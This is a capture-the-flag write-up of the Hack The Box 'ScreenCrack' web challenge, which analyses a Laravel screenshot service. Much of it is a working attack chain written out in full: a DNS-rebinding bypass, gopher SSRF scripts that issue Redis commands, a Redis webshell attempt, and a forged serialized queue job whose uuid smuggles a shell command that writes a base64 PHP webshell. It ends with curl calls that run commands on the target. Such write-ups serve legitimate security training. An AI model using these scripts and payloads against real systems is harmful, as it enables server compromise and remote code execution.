ScreenCrack
Description
New screenshot service just dropped! They talk a lot but can they hack it?
URL: https://app.hackthebox.com/challenges/ScreenCrack
Analysis
The application is able to visit a URL, take a screenshot or show source of the webpage.

The application is based on Laravel PHP framework.
Let's inspect .env
first, this probably is not what the challenge version will have but still.
APP_ENV=dev
APP_KEY=base64:7d7npWEozOBnBdNY9z2fq+Zt7KQgYpO6d7eARF01MuI=
APP_SECRET=407dbba063eff3e15247ac5eda7e41d4
APP_DEBUG=True
QUEUE_CONNECTION=redis
REDIS_HOST=127.0.0.1
REDIS_PORT=6379
DATABASE_URL="sqlite://www/database/app.db"
Next we should inspect routes
directory, that's where usually main part of route handling is done.
routes/api.php
<?php
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\SiteShotController;
/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider and all of them will
| be assigned to the "api" middleware group. Make something great!
*/
Route::post('/getss', [SiteShotController::class, 'getSS']);
Route::post('/get-html', [SiteShotController::class, 'getHtml']);
routes/web.php
<?php
use Illuminate\Support\Facades\Route;
/*
|--------------------------------------------------------------------------
| Web Routes
|--------------------------------------------------------------------------
| Here is where you can register web routes for your application. These
| routes are loaded by the RouteServiceProvider and all of them will
| be assigned to the "web" middleware group. Make something great!
*/
Route::get('/', function () { return view('index'); });
Next we should take a look at Controller classes, because they contain the logic of route handling.
<?php
namespace App\Http\Controllers;
use App\Services\SiteShotService;
use Illuminate\Http\Request;
class SiteShotController extends Controller {
public function getHtml(Request $request) {
$site = $request->input('site');
if (!$this->validateUrl($site)) { return response()->json([ 'status' => 'failed', 'message' => 'Dont do naughty stuff.' ]); }
if (!isset($site)) { return response()->json([ 'status' => 'failed', 'message' => 'Need site parameter' ]); }
$ssSrv = new SiteShotService();
return $ssSrv->getHtmlResp($site);
}
public function getSS(Request $request) {
$site = $request->input('site');
if (!$this->validateUrl($site)) { return response()->json([ 'status' => 'failed', 'message' => 'Dont do naughty stuff.' ]); }
if (!isset($site)) { return response()->json([ 'status' => 'failed', 'message' => 'Need site parameter' ]); }
if (!(substr($site, 0, strlen("http://")) === "http://" || substr($site, 0, strlen("https://")) === "https://")) {
$site = "http://" . $site;
}
$ssSrv = new SiteShotService();
return $ssSrv->getScreenShotResp($site);
}
private function isValidIPv4($ip) { return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false; }
private function isValidDomain($domain) {
$pattern = '/^(?:(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9][a-z0-9-]{0,61}[a-z0-9])$/i';
if (!preg_match($pattern, $domain)) { return false; }
if (!checkdnsrr($domain, 'A') && !checkdnsrr($domain, 'AAAA')) { return false; }
return true;
}
private function isLocalIP($ip) {
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE)) { return true; }
if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_RES_RANGE)) { return true; }
return false;
}
private function validateUrl($url) {
$parsedUrl = parse_url($url);
if (!isset($parsedUrl['host'])) { return false; }
if ($this->isValidIPv4($parsedUrl['host']) && $this->isLocalIP($parsedUrl['host'])) { return false; }
if (!$this->isValidDomain($parsedUrl['host'])) { return false; }
return true;
}
}
Show Screenshot
calls /api/getss
and the handler for that is function getSS
.View Source
calls /api/get-html
and the handler for that is function getHtml
.
Both calls are POST methods.
To make this calls the url should be valid.
It contains the
host
(domain)Should be valid IPv4, but not local address.
Should be a valid domain.
For the screenshot endpoint the url must start with http[s]://
.
<?php
namespace App\Services;
use Ramsey\Uuid\Uuid;
use App\Jobs\rmFile;
use App\Message\FileQueue;
use Illuminate\Support\Facades\Queue;
class SiteShotService {
public function getHtmlResp($url) {
// Create a new cURL resource
$ch = curl_init();
// Set cURL options
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute cURL request
$response = curl_exec($ch);
// Check for errors
if (curl_errno($ch)) {
$error = curl_error($ch);
curl_close($ch);
return response()->json([ 'status' => 'failed', ]);
}
// Get HTTP response code
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
// Close cURL resource
curl_close($ch);
$uuidStr = Uuid::uuid4()->toString();
$filequeue = new FileQueue($uuidStr, "txt");
$filenameLocal = $filequeue->buildFilePath();
$filenameResp = $filequeue->buildFilePathWeb();
$rf = new rmFile($filequeue);
Queue::push($rf);
file_put_contents($filenameLocal, $response);
return response()->json([ 'status' => 'success', 'filename' => $filenameResp, ]);
}
public function getScreenShotResp($url) {
$ssurl = "https://api.screenshotmachine.com/?key=6b76b2&dimension=1024x768&url=" . $url;
try {
$filecontents = file_get_contents($ssurl);
$uuidStr = uuid::uuid4()->tostring();
$filequeue = new filequeue($uuidStr, "png");
$filenameLocal = $filequeue->buildfilepath();
$filenameResp = $filequeue->buildfilepathweb();
$rf = new rmFile($filequeue);
Queue::push($rf);
file_put_contents($filenameLocal, $filecontents);
return response()->json([ 'status' => 'success', 'site' => $url, 'image' => $filenameResp, ]);
} catch (exception $e) {
return response()->json([ 'status' => 'failed', ]);
}
}
}
The FileQueue
handles filenames and checks that respective directories exist. For deleteFile
system
calls are used, this could be entrypoint if we can somehow manipulate filenames, but they are pregenerated from UUID4 and extensions are also hardcoded to png
or txt
.
<?php
namespace App\Message;
class FileQueue {
public $filePath;
public function __construct(string $uuid, string $type) {
$this->uuid = $uuid;
$this->ext = $type;
if (!file_exists("/www/public/src")) { mkdir("/www/public/src", 0755); }
if (!file_exists("/www/public/ss")) { mkdir("/www/public/ss", 0755); }
}
public function buildFilePath(): string {
$filename = $this->uuid . "." . $this->ext;
if ($this->ext === "txt") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/src", $filename]); }
if ($this->ext === "png") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/www/public/ss", $filename]); }
return $this->filePath;
}
public function buildFilePathWeb(): string {
$filename = $this->uuid . "." . $this->ext;
if ($this->ext === "txt") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/src", $filename]); }
if ($this->ext === "png") { $this->filePath = join(DIRECTORY_SEPARATOR, ["/ss", $filename]); }
return $this->filePath;
}
public function deleteFile() {
$filepath = $this->buildFilePath();
system("echo '" . $this->uuid . "'>>halo");
system("rm " . $filepath);
}
}
<?php
namespace App\Jobs;
use Illuminate\Bus\Queueable;
use Illuminate\Contracts\Queue\ShouldBeUnique;
use Illuminate\Contracts\Queue\ShouldQueue;
use Illuminate\Foundation\Bus\Dispatchable;
use Illuminate\Queue\InteractsWithQueue;
use Illuminate\Queue\SerializesModels;
use App\Message\FileQueue;
class rmFile implements ShouldQueue {
use Dispatchable, InteractsWithQueue, Queueable, SerializesModels;
public $fileQueue;
/* Create a new job instance. */
public function __construct(FileQueue $fileQueue) {
$this->fileQueue = $fileQueue;
}
/* Execute the job. */
public function handle(): void {
$this->fileQueue->deleteFile();
}
}
The odd thing is there's Redis server running in background, but there's no way to interact with this application. The server is there for a reason and we might need SSRF.
There's 2 more oddities. Why the f*ck is getHtmlResp
using curl to get server source and why is getScreenShotResp
using file_get_contents
to get contents from URL. As a programmer you should try to follow DRY method and this is pure garbage.
Anyway, the getHtmlResp
function is not restricting us from using other protocols, but the URLs must have domains inside them (This rules out the file://
protocol).
curl: A command line tool and library for transferring data with URL syntax, supporting DICT, FILE, FTP, FTPS, GOPHER, GOPHERS, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, MQTT, POP3, POP3S, RTMP, RTMPS, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP, WS and WSS.
Now we need to perform SSRF, request is already made for us and we just need to make it work. localhost
doesn't work because of Regex pattern, we need an actual domain that can respond to our requests. The curl won't perform redirection by itself so that can't be done.
Payloads from Pravinrp > SSRF payloads didn't work as it couldn't bypass valid url function.
Focusing on DNS we can find relative attack: DNS rebinding is a method of manipulating resolution of domain names that is commonly used as a form of computer attack.
https://lock.cmpxchg8b.com/rebinder.html (src)

Success

https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#ssrf-talking-to-redis
This was quite troublesome because turns out gopher
protocol was successful, but the curl
hangs as it's awaiting new instructions as an interactive service. You need to execute and quit right away so can catch output and end the interaction within 3 seconds so curl doesn't hang.

To make interaction easier I made a script:
from urllib.parse import quote
import requests
import json
URL = 'http://94.237.59.63:40814' # Remote
URL = 'http://localhost:1337' # Local
API = URL + '/api/get-html' # Vuln API
DNS = '7f000000.7f000001.rbndr.us' # Localhost
payload = '''
SELECT 0
KEYS *
'''.strip()
payload += '\nQUIT'
print(f'{payload=}')
# Dont urlencode spaces with `+`, use `%20`
data = { 'site': f'gopher://{DNS}:6379/_{quote(payload)}' }
print(f'{data=}')
resp = requests.post(API, json=data).json()
resp = requests.get(f'{URL}{resp["filename"]}')
for line in resp.text.split('\n'):
try: print(json.dumps(json.loads(line.strip()), indent=2))
except: print(line)
Note: Turns out rebinder service uses any IP between A and B, and is random. I chose
A: 127.0.0.1
andB: 127.0.0.2
to increase chance of127.0.0.1
~~~
payload='INFO keyspace\nQUIT'
data={'site': 'gopher://7f000000.7f000001.rbndr.us:6379/_INFO%20keyspace%0AQUIT'}
$44
# Keyspace
db0:keys=2,expires=0,avg_ttl=0
+OK
payload='SELECT 0\nKEYS *\nQUIT'
data={'site': 'gopher://7f000000.7f000001.rbndr.us:6379/_SELECT%200%0AKEYS%20%2A%0AQUIT'}
+OK
*2
$38
laravel_database_queues:default:notify
$31
laravel_database_queues:default
+OK
payload='SELECT 0\nLRANGE laravel_database_queues:default 0 -1\nQUIT'
data={'site': 'gopher://7f000000.7f000001.rbndr.us:6379/_SELECT%200%0ALRANGE%20laravel_database_queues%3Adefault%200%20-1%0AQUIT'}
+OK
*18
$590
{
"uuid": "831da2e3-9a9d-42ed-8b2e-bb5d7c807f7e",
"displayName": "App\\Jobs\\rmFile",
"job": "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries": null,
"maxExceptions": null,
"failOnTimeout": false,
"backoff": null,
"timeout": null,
"retryUntil": null,
"data": {
"commandName": "App\\Jobs\\rmFile",
"command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/52ac85a2-7dfb-4c3a-9e14-c8fc2338f792.txt\";s:4:\"uuid\";s:36:\"52ac85a2-7dfb-4c3a-9e14-c8fc2338f792\";s:3:\"ext\";s:3:\"txt\";}}"
},
"id": "G6ocQ5u4wrWzqlfORfSkGZHrv4hcjIqC",
"attempts": 0
}
$590
{
"uuid": "fc1d653a-8de5-419e-830e-a85efa316cee",
"displayName": "App\\Jobs\\rmFile",
"job": "Illuminate\\Queue\\CallQueuedHandler@call",
"maxTries": null,
"maxExceptions": null,
"failOnTimeout": false,
"backoff": null,
"timeout": null,
"retryUntil": null,
"data": {
"commandName": "App\\Jobs\\rmFile",
"command": "O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:45:\"/src/1738777a-6a57-4cae-92c3-47984e6c57ee.txt\";s:4:\"uuid\";s:36:\"1738777a-6a57-4cae-92c3-47984e6c57ee\";s:3:\"ext\";s:3:\"txt\";}}"
},
"id": "vEuyvTdj0KKA5OhmOMbx2rOn6vPE51uU",
"attempts": 0
}
...
+OK
Easy way to root failed (https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis#php-webshell)
payload='config set dir /www/public\nconfig set dbfilename redis.php\nset test "<?php echo system($_REQUEST[0]); ?>"\nsave\nQUIT'
data={'site': 'gopher://7f000000.7f000001.rbndr.us:6379/_config%20set%20dir%20/www/public%0Aconfig%20set%20dbfilename%20redis.php%0Aset%20test%20%22%3C%3Fphp%20echo%20system%28%24_REQUEST%5B0%5D%29%3B%20%3F%3E%22%0Asave%0AQUIT'}
-ERR CONFIG SET failed (possibly related to argument 'dir') - can't set protected config
-ERR CONFIG SET failed (possibly related to argument 'dbfilename') - can't set protected config
So the queue is controlled by Redis, we have access to Redis and if you remember the files are removed by system
call for whatever reason (???) and we can hijack Redis object, modify and pwn the sh*t out it system
public function deleteFile() {
$filepath = $this->buildFilePath();
system("echo '" . $this->uuid . "'>>halo");
system("rm " . $filepath);
}
Welp first of all we need an serialized object and the easier way I thought of getting it was to make Docker do heavy work since I was running it locally:
<?php
/* Inside the `challenge` or `www` in Docker */
require __DIR__ . "/vendor/autoload.php";
use Ramsey\Uuid\Uuid;
use App\Jobs\rmFile;
use App\Message\FileQueue;
/* └─$ echo '<?PHP echo system($_REQUEST[0]);?>' | base64 */
$filequeue = new FileQueue("; echo PD9QSFAgZWNobyBzeXN0ZW0oJF9SRVFVRVNUWzBdKTs/Pgo=|base64 -d > /www/public/t.php; #", "txt");
$filenameLocal = $filequeue->buildFilePath();
$filenameResp = $filequeue->buildFilePathWeb();
$rf = new rmFile($filequeue);
$serialized = serialize($rf);
$slashes = addslashes($serialized);
echo $slashes . PHP_EOL;
Note: The extension can't really be effected because of programming logic, but we can use the filename!
The PoC script does following
Create a dummy object
Pop last item from cache (aka dummy object)
Modify the last item using our serialized payload
Pop the previous request object
Push new malicious object
Show last entry (for verification)
import json
from urllib.parse import quote
import requests
URL = 'http://83.136.252.94:30715' # Remote
URL = 'http://localhost:1337' # Local
API = URL + '/api/get-html' # Vuln API
DNS = '7f000000.7f000001.rbndr.us' # Localhost
SERIALIZED_PAYLOAD = 'O:15:\"App\\Jobs\\rmFile\":1:{s:9:\"fileQueue\";O:21:\"App\\Message\\FileQueue\":3:{s:8:\"filePath\";s:97:\"/src/; echo PD9QSFAgZWNobyBzeXN0ZW0oJF9SRVFVRVNUWzBdKTs/Pgo=|base64 -d > /www/public/t.php; #.txt\";s:4:\"uuid\";s:88:\"; echo PD9QSFAgZWNobyBzeXN0ZW0oJF9SRVFVRVNUWzBdKTs/Pgo=|base64 -d > /www/public/t.php; #\";s:3:\"ext\";s:3:\"txt\";}}'
data = { 'site': f'http://{DNS}/' }
resp = requests.post(API, json=data).json()
print(f'{data=}')
print(resp)
# --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
payload = 'RPOP laravel_database_queues:default'
payload = (payload + '\nQUIT').strip()
data = { 'site': f'gopher://{DNS}:6379/_{quote(payload)}' }
resp = requests.post(API, json=data).json()
print(f'{payload=}')
print(f'{data=}')
print(f'{resp=}')
resp = requests.get(f'{URL}{resp["filename"]}')
for line in resp.text.split('\n'):
try:
queue_object = json.loads(line.strip())
queue_object['data']['command'] = SERIALIZED_PAYLOAD
queue_object = json.dumps(queue_object)
print(queue_object)
break
except:
print(line)
else:
print(f'Failed getting queue_object!')
exit(1)
# --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- --- ---
payload = '''
RPOP laravel_database_queues:default
RPUSH laravel_database_queues:default '%s'
LRANGE laravel_database_queues:default 0 -1
''' % queue_object
payload = (payload.strip() + '\nQUIT').strip()
data = { 'site': f'gopher://{DNS}:6379/_{quote(payload)}' }
resp = requests.post(API, json=data).json()
print(f'{payload=}')
print(f'{data=}')
print(f'{resp=}')
resp = requests.get(f'{URL}{resp["filename"]}')
for line in resp.text.split('\n'):
try: print(json.dumps(json.loads(line.strip()), indent=2))
except: print(line)
Why are we even deleting objects? Well... the queue worker runs each queue remotely every 10minutes............... (job-runner.sh
)
php artisan queue:work --queue=default -v --sleep=600
Run the SSRF and wait for fu*king 10minutes and then check on http://<SERVER_IP>/t.php
for webshell 🎉
➜ curl http://83.136.252.94:30715/t.php?0=id
uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
uid=100(apache) gid=101(apache) groups=82(www-data),101(apache),101(apache)
➜ curl http://83.136.252.94:30715/t.php?0=cat%20/flag
HTB{my_j0b_qu3u3_h4s_h0l3s}
HTB{my_j0b_qu3u3_h4s_h0l3s}
Flag: HTB{my_j0b_qu3u3_h4s_h0l3s}
Last updated